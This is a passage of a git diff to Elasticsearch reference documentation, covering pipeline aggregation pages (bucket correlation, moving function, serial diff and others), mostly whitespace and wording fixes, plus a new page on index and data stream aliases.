}, + { "from": 0, "to": 105 }, + { "from": 105, "to": 225 }, + { "from": 225, "to": 445 }, + { "from": 445, "to": 665 }, + { "from": 665, "to": 885 }, + { "from": 885, "to": 1115 }, + { "from": 1115, "to": 1335 }, + { "from": 1335, "to": 1555 }, + { "from": 1555, "to": 1775 }, + { "from": 1775 } + ] + } + }, + "bucket_correlation": { + "bucket_correlation": { + "buckets_path": "latency_ranges>_count", + "function": { + "count_correlation": { + "indicator": { + "expectations": [0, 52.5, 165, 335, 555, 775, 1000, 1225, 1445, 1665, 1775], + "doc_count": 200 + } + } + } + } + } + } + } + } +} +------------------------------------------------- +// TEST[setup:correlate_latency] + +<1> The term buckets containing a range aggregation and the bucket correlation aggregation. Both are utilized to calculate + the correlation of the term values with the latency. +<2> The range aggregation on the latency field. The ranges were created referencing the percentiles of the latency field. +<3> The bucket correlation aggregation that calculates the correlation of the number of term values within each range + and the previously calculated indicator values. + +And the following may be the response: + +[source,console-result] +---- +{ + "aggregations" : { + "buckets" : { + "doc_count_error_upper_bound" : 0, + "sum_other_doc_count" : 0, + "buckets" : [ + { + "key" : "1.0", + "doc_count" : 100, + "latency_ranges" : { + "buckets" : [ + { + "key" : "*-0.0", + "to" : 0.0, + "doc_count" : 0 + }, + { + "key" : "0.0-105.0", + "from" : 0.0, + "to" : 105.0, + "doc_count" : 1 + }, + { + "key" : "105.0-225.0", + "from" : 105.0, + "to" : 225.0, + "doc_count" : 9 + }, + { + "key" : "225.0-445.0", + "from" : 225.0, + "to" : 445.0, + "doc_count" : 0 + }, + { + "key" : "445.0-665.0", + "from" : 445.0, + "to" : 665.0, + "doc_count" : 0 + }, + { + "key" : "665.0-885.0", + "from" : 665.0, + "to" : 885.0, + "doc_count" : 0 + }, + { + "key" : "885.0-1115.0", + "from" : 885.0, + "to" : 1115.0, + "doc_count" : 10 + }, + { + "key" : "1115.0-1335.0", + "from" : 1115.0, + "to" : 1335.0, + "doc_count" : 20 + }, + { + "key" : "1335.0-1555.0", + "from" : 1335.0, + "to" : 1555.0, + "doc_count" : 20 + }, + { + "key" : "1555.0-1775.0", + "from" : 1555.0, + "to" : 1775.0, + "doc_count" : 20 + }, + { + "key" : "1775.0-*", + "from" : 1775.0, + "doc_count" : 20 + } + ] + }, + "bucket_correlation" : { + "value" : 0.8402398981360937 + } + }, + { + "key" : "2.0", + "doc_count" : 100, + "latency_ranges" : { + "buckets" : [ + { + "key" : "*-0.0", + "to" : 0.0, + "doc_count" : 0 + }, + { + "key" : "0.0-105.0", + "from" : 0.0, + "to" : 105.0, + "doc_count" : 19 + }, + { + "key" : "105.0-225.0", + "from" : 105.0, + "to" : 225.0, + "doc_count" : 11 + }, + { + "key" : "225.0-445.0", + "from" : 225.0, + "to" : 445.0, + "doc_count" : 20 + }, + { + "key" : "445.0-665.0", + "from" : 445.0, + "to" : 665.0, + "doc_count" : 20 + }, + { + "key" : "665.0-885.0", + "from" : 665.0, + "to" : 885.0, + "doc_count" : 20 + }, + { + "key" : "885.0-1115.0", + "from" : 885.0, + "to" : 1115.0, + "doc_count" : 10 + }, + { + "key" : "1115.0-1335.0", + "from" : 1115.0, + "to" : 1335.0, + "doc_count" : 0 + }, + { + "key" : "1335.0-1555.0", + "from" : 1335.0, + "to" : 1555.0, + "doc_count" : 0 + }, + { + "key" : "1555.0-1775.0", + "from" : 1555.0, + "to" : 1775.0, + "doc_count" : 0 + }, + { + "key" : "1775.0-*", + "from" : 1775.0, + "doc_count" : 0 + } + ] + }, + "bucket_correlation" : { + "value" : -0.5759855613334943 + } + } + ] + } + } +} +---- diff --git a/docs/reference/aggregations/pipeline/cumulative-cardinality-aggregation.asciidoc b/docs/reference/aggregations/pipeline/cumulative-cardinality-aggregation.asciidoc index 70f907b7cda09..32439c9def727 100644 --- a/docs/reference/aggregations/pipeline/cumulative-cardinality-aggregation.asciidoc +++ b/docs/reference/aggregations/pipeline/cumulative-cardinality-aggregation.asciidoc @@ -11,8 +11,8 @@ aggregation. The specified metric must be a cardinality aggregation and the encl must have `min_doc_count` set to `0` (default for `histogram` aggregations). The `cumulative_cardinality` agg is useful for finding "total new items", like the number of new visitors to your -website each day. A regular cardinality aggregation will tell you how many unique visitors came each day, but doesn't -differentiate between "new" or "repeat" visitors. The Cumulative Cardinality aggregation can be used to determine +website each day. A regular cardinality aggregation will tell you how many unique visitors came each day, but doesn't +differentiate between "new" or "repeat" visitors. The Cumulative Cardinality aggregation can be used to determine how many of each day's unique visitors are "new". ==== Syntax @@ -128,14 +128,14 @@ And the following may be the response: Note how the second day, `2019-01-02`, has two distinct users but the `total_new_users` metric generated by the -cumulative pipeline agg only increments to three. This means that only one of the two users that day were -new, the other had already been seen in the previous day. This happens again on the third day, where only +cumulative pipeline agg only increments to three. This means that only one of the two users that day were +new, the other had already been seen in the previous day. This happens again on the third day, where only one of three users is completely new. ==== Incremental cumulative cardinality The `cumulative_cardinality` agg will show you the total, distinct count since the beginning of the time period -being queried. Sometimes, however, it is useful to see the "incremental" count. Meaning, how many new users +being queried. Sometimes, however, it is useful to see the "incremental" count. Meaning, how many new users are added each day, rather than the total cumulative count. This can be accomplished by adding a `derivative` aggregation to our query: diff --git a/docs/reference/aggregations/pipeline/derivative-aggregation.asciidoc b/docs/reference/aggregations/pipeline/derivative-aggregation.asciidoc index 92ea053f01afd..f0aa790e49301 100644 --- a/docs/reference/aggregations/pipeline/derivative-aggregation.asciidoc +++ b/docs/reference/aggregations/pipeline/derivative-aggregation.asciidoc @@ -226,7 +226,7 @@ second derivative ==== Units The derivative aggregation allows the units of the derivative values to be specified. This returns an extra field in the response -`normalized_value` which reports the derivative value in the desired x-axis units. In the below example we calculate the derivative +`normalized_value` which reports the derivative value in the desired x-axis units. In the below example we calculate the derivative of the total sales per month but ask for the derivative of the sales as in the units of sales per day: [source,console] diff --git a/docs/reference/aggregations/pipeline/inference-bucket-aggregation.asciidoc b/docs/reference/aggregations/pipeline/inference-bucket-aggregation.asciidoc index b715bc491dc55..e718512653f0a 100644 --- a/docs/reference/aggregations/pipeline/inference-bucket-aggregation.asciidoc +++ b/docs/reference/aggregations/pipeline/inference-bucket-aggregation.asciidoc @@ -6,13 +6,13 @@ {infer-cap} bucket ++++ -beta::[] A parent pipeline aggregation which loads a pre-trained model and performs {infer} on the collated result fields from the parent bucket aggregation. To use the {infer} bucket aggregation, you need to have the same security -privileges that are required for using the <>. +privileges that are required for using the +<>. [[inference-bucket-agg-syntax]] ==== Syntax @@ -37,7 +37,7 @@ A `inference` aggregation looks like this in isolation: } -------------------------------------------------- // NOTCONSOLE -<1> The ID of model to use. +<1> The unique identifier or alias for the trained model. <2> The optional inference config which overrides the model's default settings <3> Map the value of `avg_agg` to the model's input field `avg_cost` @@ -47,7 +47,7 @@ A `inference` aggregation looks like this in isolation: [options="header"] |=== |Parameter Name |Description |Required |Default Value -| `model_id` | The ID of the model to load and infer against | Required | - +| `model_id` | The ID or alias for the trained model. | Required | - | `inference_config` | Contains the inference type and its options. There are two types: <> and <> | Optional | - | `buckets_path` | Defines the paths to the input aggregations and maps the aggregation names to the field names expected by the model. See <> for more details | Required | - @@ -181,5 +181,5 @@ GET kibana_sample_data_logs/_search <1> A composite bucket aggregation that aggregates the data by `client_ip`. <2> A series of metrics and bucket sub-aggregations. -<3> {infer-cap} bucket aggregation that contains the model ID and maps the +<3> {infer-cap} bucket aggregation that specifies the trained model and maps the aggregation names to the model's input fields. diff --git a/docs/reference/aggregations/pipeline/movfn-aggregation.asciidoc b/docs/reference/aggregations/pipeline/movfn-aggregation.asciidoc index 51afcf8c94eb0..b5f1315531916 100644 --- a/docs/reference/aggregations/pipeline/movfn-aggregation.asciidoc +++ b/docs/reference/aggregations/pipeline/movfn-aggregation.asciidoc @@ -5,7 +5,7 @@ ++++ Given an ordered series of data, the Moving Function aggregation will slide a window across the data and allow the user to specify a custom -script that is executed on each window of data. For convenience, a number of common functions are predefined such as min/max, moving averages, +script that is executed on each window of data. For convenience, a number of common functions are predefined such as min/max, moving averages, etc. ==== Syntax @@ -36,7 +36,7 @@ A `moving_fn` aggregation looks like this in isolation: |`shift` |<> of window position. |Optional | 0 |=== -`moving_fn` aggregations must be embedded inside of a `histogram` or `date_histogram` aggregation. They can be +`moving_fn` aggregations must be embedded inside of a `histogram` or `date_histogram` aggregation. They can be embedded like any other metric aggregation: [source,console] @@ -69,11 +69,11 @@ POST /_search // TEST[setup:sales] <1> A `date_histogram` named "my_date_histo" is constructed on the "timestamp" field, with one-day intervals -<2> A `sum` metric is used to calculate the sum of a field. This could be any numeric metric (sum, min, max, etc) +<2> A `sum` metric is used to calculate the sum of a field. This could be any numeric metric (sum, min, max, etc) <3> Finally, we specify a `moving_fn` aggregation which uses "the_sum" metric as its input. -Moving averages are built by first specifying a `histogram` or `date_histogram` over a field. You can then optionally -add numeric metrics, such as a `sum`, inside of that histogram. Finally, the `moving_fn` is embedded inside the histogram. +Moving averages are built by first specifying a `histogram` or `date_histogram` over a field. You can then optionally +add numeric metrics, such as a `sum`, inside of that histogram. Finally, the `moving_fn` is embedded inside the histogram. The `buckets_path` parameter is then used to "point" at one of the sibling metrics inside of the histogram (see <> for a description of the syntax for `buckets_path`. @@ -134,9 +134,9 @@ An example response from the above aggregation may look like: ==== Custom user scripting -The Moving Function aggregation allows the user to specify any arbitrary script to define custom logic. The script is invoked each time a -new window of data is collected. These values are provided to the script in the `values` variable. The script should then perform some -kind of calculation and emit a single `double` as the result. Emitting `null` is not permitted, although `NaN` and +/- `Inf` are allowed. +The Moving Function aggregation allows the user to specify any arbitrary script to define custom logic. The script is invoked each time a +new window of data is collected. These values are provided to the script in the `values` variable. The script should then perform some +kind of calculation and emit a single `double` as the result. Emitting `null` is not permitted, although `NaN` and +/- `Inf` are allowed. For example, this script will simply return the first value from the window, or `NaN` if no values are available: @@ -195,7 +195,7 @@ For convenience, a number of functions have been prebuilt and are available insi - `holt()` - `holtWinters()` -The functions are available from the `MovingFunctions` namespace. E.g. `MovingFunctions.max()` +The functions are available from the `MovingFunctions` namespace. E.g. `MovingFunctions.max()` ===== max Function @@ -284,7 +284,7 @@ POST /_search ===== sum Function This function accepts a collection of doubles and returns the sum of the values in that window. `null` and `NaN` values are ignored; -the sum is only calculated over the real values. If the window is empty, or all values are `null`/`NaN`, `0.0` is returned as the result. +the sum is only calculated over the real values. If the window is empty, or all values are `null`/`NaN`, `0.0` is returned as the result. [[sum-params]] .`sum(double[] values)` Parameters @@ -326,7 +326,7 @@ POST /_search ===== stdDev Function This function accepts a collection of doubles and average, then returns the standard deviation of the values in that window. -`null` and `NaN` values are ignored; the sum is only calculated over the real values. If the window is empty, or all values are +`null` and `NaN` values are ignored; the sum is only calculated over the real values. If the window is empty, or all values are `null`/`NaN`, `0.0` is returned as the result. [[stddev-params]] @@ -368,17 +368,17 @@ POST /_search // TEST[setup:sales] The `avg` parameter must be provided to the standard deviation function because different styles of averages can be computed on the window -(simple, linearly weighted, etc). The various moving averages that are detailed below can be used to calculate the average for the +(simple, linearly weighted, etc). The various moving averages that are detailed below can be used to calculate the average for the standard deviation function. ===== unweightedAvg Function -The `unweightedAvg` function calculates the sum of all values in the window, then divides by the size of the window. It is effectively -a simple arithmetic mean of the window. The simple moving average does not perform any time-dependent weighting, which means +The `unweightedAvg` function calculates the sum of all values in the window, then divides by the size of the window. It is effectively +a simple arithmetic mean of the window. The simple moving average does not perform any time-dependent weighting, which means the values from a `simple` moving average tend to "lag" behind the real data. `null` and `NaN` values are ignored; the average is only calculated over the real values. If the window is empty, or all values are -`null`/`NaN`, `NaN` is returned as the result. This means that the count used in the average calculation is count of non-`null`,non-`NaN` +`null`/`NaN`, `NaN` is returned as the result. This means that the count used in the average calculation is count of non-`null`,non-`NaN` values. [[unweightedavg-params]] @@ -421,7 +421,7 @@ POST /_search ==== linearWeightedAvg Function The `linearWeightedAvg` function assigns a linear weighting to points in the series, such that "older" datapoints (e.g. those at -the beginning of the window) contribute a linearly less amount to the total average. The linear weighting helps reduce +the beginning of the window) contribute a linearly less amount to the total average. The linear weighting helps reduce the "lag" behind the data's mean, since older points have less influence. If the window is empty, or all values are `null`/`NaN`, `NaN` is returned as the result. @@ -467,13 +467,13 @@ POST /_search The `ewma` function (aka "single-exponential") is similar to the `linearMovAvg` function, except older data-points become exponentially less important, -rather than linearly less important. The speed at which the importance decays can be controlled with an `alpha` -setting. Small values make the weight decay slowly, which provides greater smoothing and takes into account a larger -portion of the window. Larger values make the weight decay quickly, which reduces the impact of older values on the -moving average. This tends to make the moving average track the data more closely but with less smoothing. +rather than linearly less important. The speed at which the importance decays can be controlled with an `alpha` +setting. Small values make the weight decay slowly, which provides greater smoothing and takes into account a larger +portion of the window. Larger values make the weight decay quickly, which reduces the impact of older values on the +moving average. This tends to make the moving average track the data more closely but with less smoothing. `null` and `NaN` values are ignored; the average is only calculated over the real values. If the window is empty, or all values are -`null`/`NaN`, `NaN` is returned as the result. This means that the count used in the average calculation is count of non-`null`,non-`NaN` +`null`/`NaN`, `NaN` is returned as the result. This means that the count used in the average calculation is count of non-`null`,non-`NaN` values. [[ewma-params]] @@ -518,18 +518,18 @@ POST /_search ==== holt Function The `holt` function (aka "double exponential") incorporates a second exponential term which -tracks the data's trend. Single exponential does not perform well when the data has an underlying linear trend. The +tracks the data's trend. Single exponential does not perform well when the data has an underlying linear trend. The double exponential model calculates two values internally: a "level" and a "trend". -The level calculation is similar to `ewma`, and is an exponentially weighted view of the data. The difference is +The level calculation is similar to `ewma`, and is an exponentially weighted view of the data. The difference is that the previously smoothed value is used instead of the raw value, which allows it to stay close to the original series. The trend calculation looks at the difference between the current and last value (e.g. the slope, or trend, of the -smoothed data). The trend value is also exponentially weighted. +smoothed data). The trend value is also exponentially weighted. Values are produced by multiplying the level and trend components. `null` and `NaN` values are ignored; the average is only calculated over the real values. If the window is empty, or all values are -`null`/`NaN`, `NaN` is returned as the result. This means that the count used in the average calculation is count of non-`null`,non-`NaN` +`null`/`NaN`, `NaN` is returned as the result. This means that the count used in the average calculation is count of non-`null`,non-`NaN` values. [[holt-params]] @@ -572,26 +572,26 @@ POST /_search // TEST[setup:sales] In practice, the `alpha` value behaves very similarly in `holtMovAvg` as `ewmaMovAvg`: small values produce more smoothing -and more lag, while larger values produce closer tracking and less lag. The value of `beta` is often difficult -to see. Small values emphasize long-term trends (such as a constant linear trend in the whole series), while larger +and more lag, while larger values produce closer tracking and less lag. The value of `beta` is often difficult +to see. Small values emphasize long-term trends (such as a constant linear trend in the whole series), while larger values emphasize short-term trends. ==== holtWinters Function The `holtWinters` function (aka "triple exponential") incorporates a third exponential term which -tracks the seasonal aspect of your data. This aggregation therefore smooths based on three components: "level", "trend" +tracks the seasonal aspect of your data. This aggregation therefore smooths based on three components: "level", "trend" and "seasonality". The level and trend calculation is identical to `holt` The seasonal calculation looks at the difference between the current point, and the point one period earlier. -Holt-Winters requires a little more handholding than the other moving averages. You need to specify the "periodicity" -of your data: e.g. if your data has cyclic trends every 7 days, you would set `period = 7`. Similarly if there was -a monthly trend, you would set it to `30`. There is currently no periodicity detection, although that is planned +Holt-Winters requires a little more handholding than the other moving averages. You need to specify the "periodicity" +of your data: e.g. if your data has cyclic trends every 7 days, you would set `period = 7`. Similarly if there was +a monthly trend, you would set it to `30`. There is currently no periodicity detection, although that is planned for future enhancements. `null` and `NaN` values are ignored; the average is only calculated over the real values. If the window is empty, or all values are -`null`/`NaN`, `NaN` is returned as the result. This means that the count used in the average calculation is count of non-`null`,non-`NaN` +`null`/`NaN`, `NaN` is returned as the result. This means that the count used in the average calculation is count of non-`null`,non-`NaN` values. [[holtwinters-params]] @@ -638,20 +638,20 @@ POST /_search [WARNING] ====== -Multiplicative Holt-Winters works by dividing each data point by the seasonal value. This is problematic if any of -your data is zero, or if there are gaps in the data (since this results in a divid-by-zero). To combat this, the -`mult` Holt-Winters pads all values by a very small amount (1*10^-10^) so that all values are non-zero. This affects -the result, but only minimally. If your data is non-zero, or you prefer to see `NaN` when zero's are encountered, +Multiplicative Holt-Winters works by dividing each data point by the seasonal value. This is problematic if any of +your data is zero, or if there are gaps in the data (since this results in a divid-by-zero). To combat this, the +`mult` Holt-Winters pads all values by a very small amount (1*10^-10^) so that all values are non-zero. This affects +the result, but only minimally. If your data is non-zero, or you prefer to see `NaN` when zero's are encountered, you can disable this behavior with `pad: false` ====== ===== "Cold Start" -Unfortunately, due to the nature of Holt-Winters, it requires two periods of data to "bootstrap" the algorithm. This -means that your `window` must always be *at least* twice the size of your period. An exception will be thrown if it -isn't. It also means that Holt-Winters will not emit a value for the first `2 * period` buckets; the current algorithm +Unfortunately, due to the nature of Holt-Winters, it requires two periods of data to "bootstrap" the algorithm. This +means that your `window` must always be *at least* twice the size of your period. An exception will be thrown if it +isn't. It also means that Holt-Winters will not emit a value for the first `2 * period` buckets; the current algorithm does not backcast. -You'll notice in the above example we have an `if ()` statement checking the size of values. This is checking to make sure +You'll notice in the above example we have an `if ()` statement checking the size of values. This is checking to make sure we have two periods worth of data (`5 * 2`, where 5 is the period specified in the `holtWintersMovAvg` function) before calling the holt-winters function. diff --git a/docs/reference/aggregations/pipeline/moving-percentiles-aggregation.asciidoc b/docs/reference/aggregations/pipeline/moving-percentiles-aggregation.asciidoc index 50b099d8e1629..10208510a6722 100644 --- a/docs/reference/aggregations/pipeline/moving-percentiles-aggregation.asciidoc +++ b/docs/reference/aggregations/pipeline/moving-percentiles-aggregation.asciidoc @@ -37,7 +37,7 @@ A `moving_percentiles` aggregation looks like this in isolation: |`shift` |<> of window position. |Optional | 0 |=== -`moving_percentiles` aggregations must be embedded inside of a `histogram` or `date_histogram` aggregation. They can be +`moving_percentiles` aggregations must be embedded inside of a `histogram` or `date_histogram` aggregation. They can be embedded like any other metric aggregation: [source,console] @@ -75,8 +75,8 @@ POST /_search <2> A `percentile` metric is used to calculate the percentiles of a field. <3> Finally, we specify a `moving_percentiles` aggregation which uses "the_percentile" sketch as its input. -Moving percentiles are built by first specifying a `histogram` or `date_histogram` over a field. You then add -a percentile metric inside of that histogram. Finally, the `moving_percentiles` is embedded inside the histogram. +Moving percentiles are built by first specifying a `histogram` or `date_histogram` over a field. You then add +a percentile metric inside of that histogram. Finally, the `moving_percentiles` is embedded inside the histogram. The `buckets_path` parameter is then used to "point" at the percentiles aggregation inside of the histogram (see <> for a description of the syntax for `buckets_path`). diff --git a/docs/reference/aggregations/pipeline/percentiles-bucket-aggregation.asciidoc b/docs/reference/aggregations/pipeline/percentiles-bucket-aggregation.asciidoc index d3a492536ef09..a899dfe45a58a 100644 --- a/docs/reference/aggregations/pipeline/percentiles-bucket-aggregation.asciidoc +++ b/docs/reference/aggregations/pipeline/percentiles-bucket-aggregation.asciidoc @@ -130,5 +130,5 @@ interpolate between data points. The percentiles are calculated exactly and is not an approximation (unlike the Percentiles Metric). This means the implementation maintains an in-memory, sorted list of your data to compute the percentiles, before discarding the -data. You may run into memory pressure issues if you attempt to calculate percentiles over many millions of +data. You may run into memory pressure issues if you attempt to calculate percentiles over many millions of data-points in a single `percentiles_bucket`. diff --git a/docs/reference/aggregations/pipeline/serial-diff-aggregation.asciidoc b/docs/reference/aggregations/pipeline/serial-diff-aggregation.asciidoc index 9909953d7c3c3..8b8ce8c6eece0 100644 --- a/docs/reference/aggregations/pipeline/serial-diff-aggregation.asciidoc +++ b/docs/reference/aggregations/pipeline/serial-diff-aggregation.asciidoc @@ -13,10 +13,10 @@ next. Single periods are useful for removing constant, linear trends. Single periods are also useful for transforming data into a stationary series. In this example, the Dow Jones is plotted over ~250 days. The raw data is not stationary, which would make it difficult to use with some techniques. -By calculating the first-difference, we de-trend the data (e.g. remove a constant, linear trend). We can see that the +By calculating the first-difference, we de-trend the data (e.g. remove a constant, linear trend). We can see that the data becomes a stationary series (e.g. the first difference is randomly distributed around zero, and doesn't seem to exhibit any pattern/behavior). The transformation reveals that the dataset is following a random-walk; the value is the -previous value +/- a random amount. This insight allows selection of further tools for analysis. +previous value +/- a random amount. This insight allows selection of further tools for analysis. [[serialdiff_dow]] .Dow Jones plotted and made stationary with first-differencing @@ -43,7 +43,7 @@ A `serial_diff` aggregation looks like this in isolation: { "serial_diff": { "buckets_path": "the_sum", - "lag": "7" + "lag": 7 } } -------------------------------------------------- @@ -93,10 +93,10 @@ POST /_search -------------------------------------------------- <1> A `date_histogram` named "my_date_histo" is constructed on the "timestamp" field, with one-day intervals -<2> A `sum` metric is used to calculate the sum of a field. This could be any metric (sum, min, max, etc) +<2> A `sum` metric is used to calculate the sum of a field. This could be any metric (sum, min, max, etc) <3> Finally, we specify a `serial_diff` aggregation which uses "the_sum" metric as its input. -Serial differences are built by first specifying a `histogram` or `date_histogram` over a field. You can then optionally -add normal metrics, such as a `sum`, inside of that histogram. Finally, the `serial_diff` is embedded inside the histogram. +Serial differences are built by first specifying a `histogram` or `date_histogram` over a field. You can then optionally +add normal metrics, such as a `sum`, inside of that histogram. Finally, the `serial_diff` is embedded inside the histogram. The `buckets_path` parameter is then used to "point" at one of the sibling metrics inside of the histogram (see <> for a description of the syntax for `buckets_path`. diff --git a/docs/reference/alias.asciidoc b/docs/reference/alias.asciidoc new file mode 100644 index 0000000000000..43f22b6e8eda5 --- /dev/null +++ b/docs/reference/alias.asciidoc @@ -0,0 +1,326 @@ +[chapter] +[[alias]] += Aliases + +An alias is a secondary name for a group of data streams or indices. Most {es} +APIs accept an alias in place of a data stream or index name. + +You can change the data streams or indices of an alias at any time. If you use +aliases in your application's {es} requests, you can reindex data with no +downtime or changes to your app's code. + +[discrete] +[[alias-types]] +=== Alias types + +There are two types of aliases: + +* A **data stream alias** points to one or more data streams. +* An **index alias** points to one or more indices. + +An alias cannot point to both data streams and indices. You also cannot add a +data stream's backing index to an index alias. + +[discrete] +[[add-alias]] +=== Add an alias + +To add an existing data stream or index to an alias, use the +<>'s `add` action. If the alias doesn't exist, the +request creates it. + +[source,console] +---- +POST _aliases +{ + "actions": [ + { + "add": { + "index": "logs-nginx.access-prod", + "alias": "logs" + } + } + ] +} +---- +// TEST[s/^/PUT _data_stream\/logs-nginx.access-prod\n/] + +The API's `index` and `indices` parameters support wildcards (`*`). If a +wildcard pattern matches both data streams and indices, the action only uses +matching data streams. + +[source,console] +---- +POST _aliases +{ + "actions": [ + { + "add": { + "index": "logs-*", + "alias": "logs" + } + } + ] +} +---- +// TEST[s/^/PUT _data_stream\/logs-nginx.access-prod\n/] + +[discrete] +[[remove-alias]] +=== Remove an alias + +To remove an alias, use the aliases API's `remove` action. + +[source,console] +---- +POST _aliases +{ + "actions": [ + { + "remove": { + "index": "logs-nginx.access-prod", + "alias": "logs" + } + } + ] +} +---- +// TEST[continued] + +[discrete] +[[multiple-actions]] +=== Multiple actions + +You can use the aliases API to perform multiple actions in a single atomic +operation. + +For example, the `logs` alias points to a single data stream. The following +request swaps the stream for the alias. During this swap, the `logs` alias has +no downtime and never points to both streams at the same time. + +[source,console] +---- +POST _aliases +{ + "actions": [ + { + "remove": { + "index": "logs-nginx.access-prod", + "alias": "logs" + } + }, + { + "add": { + "index": "logs-my_app-default", + "alias": "logs" + } + } + ] +} +---- +// TEST[s/^/PUT _data_stream\/logs-nginx.access-prod\nPUT _data_stream\/logs-my_app-default\n/] + +[discrete] +[[add-alias-at-creation]] +=== Add an alias at index creation + +You can also use a <> or +<> to add index aliases at index creation. +You cannot use a component or index template to add a data stream alias. + +[source,console] +---- +# Component template with index aliases +PUT _component_template/my-aliases +{ + "template": { + "aliases": { + "my-alias": {} + } + } +} + +# Index template with index aliases +PUT _index_template/my-index-template +{ + "index_patterns": [ + "my-index-*" + ], + "composed_of": [ + "my-aliases", + "my-mappings", + "my-settings" + ], + "template": { + "aliases": { + "yet-another-alias": {} + } + } +} +---- +// TEST[s/,\n "my-mappings",\n "my-settings"//] +// TEST[teardown:data_stream_cleanup] + +You can also specify index aliases in <> +requests. + +[source,console] +---- +# PUT +PUT %3Cmy-index-%7Bnow%2Fd%7D-000001%3E +{ + "aliases": { + "my-alias": {} + } +} +---- + +[discrete] +[[view-aliases]] +=== View aliases + +To get a list of your cluster's aliases, use the <> with no argument. + +[source,console] +---- +GET _alias +---- +// TEST[s/^/PUT _data_stream\/logs-nginx.access-prod\nPUT logs-nginx.access-prod\/_alias\/logs\n/] + +Specify a data stream or index before `_alias` to view its aliases. + +[source,console] +---- +GET my-data-stream/_alias +---- +// TEST[s/^/PUT _data_stream\/logs-nginx.access-prod\nPUT logs-nginx.access-prod\/_alias\/logs\n/] +// TEST[s/my-data-stream/logs-nginx.access-prod/] + +Specify an alias after `_alias` to view its data streams or indices. + +[source,console] +---- +GET _alias/logs +---- +// TEST[s/^/PUT _data_stream\/logs-nginx.access-prod\nPUT logs-nginx.access-prod\/_alias\/logs\n/] + +[discrete] +[[write-index]] +=== Write index + +If an alias points to multiple indices, you can use `is_write_index` to specify +a write index. {es} routes any write requests for the alias to this index. + +[source,console] +---- +POST _aliases +{ + "actions": [ + { + "add": { + "index": "my-index-2099.05.06-000001", + "alias": "my-alias" + } + }, + { + "add": { + "index": "my-index-2099.05.07-000002", + "alias": "my-alias", + "is_write_index": true + } + } + ] +} +---- +// TEST[s/^/PUT my-index-2099.05.06-000001\nPUT my-index-2099.05.07-000002\n/] + +TIP: We recommend using data streams to store append-only time series data. If +you frequently update or delete existing time series data, use an index alias +with a write index instead. See +<>. + +If an alias points to multiple indices with no write index, the alias rejects +write requests. If an alias points to one index and `is_write_index` is not set, +the index automatically acts as the write index. Data stream aliases do not +support `is_write_index`. + +[discrete] +[[filter-alias]] +=== Filter an alias + +The `filter` option uses <> to limit the documents an alias +can access. Data stream aliases do not support `filter`. + +[source,console] +---- +POST _aliases +{ + "actions": [ + { + "add": { + "index": "my-index-2099.05.07-000002", + "alias": "my-alias", + "is_write_index": true, + "filter": { + "range": { + "@timestamp": { + "gte": "now-1d/d", + "lt": "now/d" + } + } + } + } + } + ] +} +---- +// TEST[s/^/PUT my-index-2099.05.07-000002\n/] + +[discrete] +[[alias-routing]] +=== Routing + +Use the `routing` option to <> requests for an +alias to a specific shard. This lets you take advantage of +<> to speed up searches. Data stream aliases +do not support routing options. + +[source,console] +---- +POST _aliases +{ + "actions": [ + { + "add": { + "index": "my-index-2099.05.06-000001", + "alias": "my-alias", + "routing": "1" + } + } + ] +} +---- +// TEST[s/^/PUT my-index-2099.05.06-000001\n/] + +Use `index_routing` and `search_routing` to specify different routing values for +indexing and search. If specified, these options overwrite the `routing` value +for their respective operations. + +[source,console] +---- +POST _aliases +{ + "actions": [ + { + "add": { + "index": "my-index-2099.05.06-000001", + "alias": "my-alias", + "search_routing": "1", + "index_routing": "2" + } + } + ] +} +---- +// TEST[s/^/PUT my-index-2099.05.06-000001\n/] diff --git a/docs/reference/analysis.asciidoc b/docs/reference/analysis.asciidoc index 15684f60a882a..3db1a89bbe847 100644 --- a/docs/reference/analysis.asciidoc +++ b/docs/reference/analysis.asciidoc @@ -2,7 +2,8 @@ = Text analysis :lucene-analysis-docs: https://lucene.apache.org/core/{lucene_version_path}/analyzers-common/org/apache/lucene/analysis -:lucene-stop-word-link: https://github.com/apache/lucene-solr/blob/master/lucene/analysis/common/src/resources/org/apache/lucene/analysis +:lucene-gh-main-link: https://github.com/apache/lucene/blob/main/lucene +:lucene-stop-word-link: {lucene-gh-main-link}/analysis/common/src/resources/org/apache/lucene/analysis [partintro] -- @@ -58,4 +59,4 @@ include::analysis/tokenfilters.asciidoc[] include::analysis/charfilters.asciidoc[] -include::analysis/normalizers.asciidoc[] \ No newline at end of file +include::analysis/normalizers.asciidoc[] diff --git a/docs/reference/analysis/analyzers.asciidoc b/docs/reference/analysis/analyzers.asciidoc index 15e8fb435f241..1aacbf62a6d68 100644 --- a/docs/reference/analysis/analyzers.asciidoc +++ b/docs/reference/analysis/analyzers.asciidoc @@ -13,12 +13,12 @@ lowercases terms, and supports removing stop words. <>:: The `simple` analyzer divides text into terms whenever it encounters a -character which is not a letter. It lowercases all terms. +character which is not a letter. It lowercases all terms. <>:: The `whitespace` analyzer divides text into terms whenever it encounters any -whitespace character. It does not lowercase terms. +whitespace character. It does not lowercase terms. <>:: diff --git a/docs/reference/analysis/analyzers/configuring.asciidoc b/docs/reference/analysis/analyzers/configuring.asciidoc index c848004c4f03b..0a9b682a71214 100644 --- a/docs/reference/analysis/analyzers/configuring.asciidoc +++ b/docs/reference/analysis/analyzers/configuring.asciidoc @@ -1,8 +1,8 @@ [[configuring-analyzers]] === Configuring built-in analyzers -The built-in analyzers can be used directly without any configuration. Some -of them, however, support configuration options to alter their behaviour. For +The built-in analyzers can be used directly without any configuration. Some +of them, however, support configuration options to alter their behaviour. For instance, the <> can be configured to support a list of stop words: @@ -53,10 +53,10 @@ POST my-index-000001/_analyze <1> We define the `std_english` analyzer to be based on the `standard` analyzer, but configured to remove the pre-defined list of English stopwords. <2> The `my_text` field uses the `standard` analyzer directly, without - any configuration. No stop words will be removed from this field. + any configuration. No stop words will be removed from this field. The resulting terms are: `[ the, old, brown, cow ]` <3> The `my_text.english` field uses the `std_english` analyzer, so - English stop words will be removed. The resulting terms are: + English stop words will be removed. The resulting terms are: `[ old, brown, cow ]` diff --git a/docs/reference/analysis/analyzers/custom-analyzer.asciidoc b/docs/reference/analysis/analyzers/custom-analyzer.asciidoc index 3757a0c3be3af..f2808d4c4ff04 100644 --- a/docs/reference/analysis/analyzers/custom-analyzer.asciidoc +++ b/docs/reference/analysis/analyzers/custom-analyzer.asciidoc @@ -14,6 +14,10 @@ When the built-in analyzers do not fulfill your needs, you can create a The `custom` analyzer accepts the following parameters: [horizontal] +`type`:: + Analyzer type. Accepts <>. For + custom analyzers, use `custom` or omit this parameter. + `tokenizer`:: A built-in or 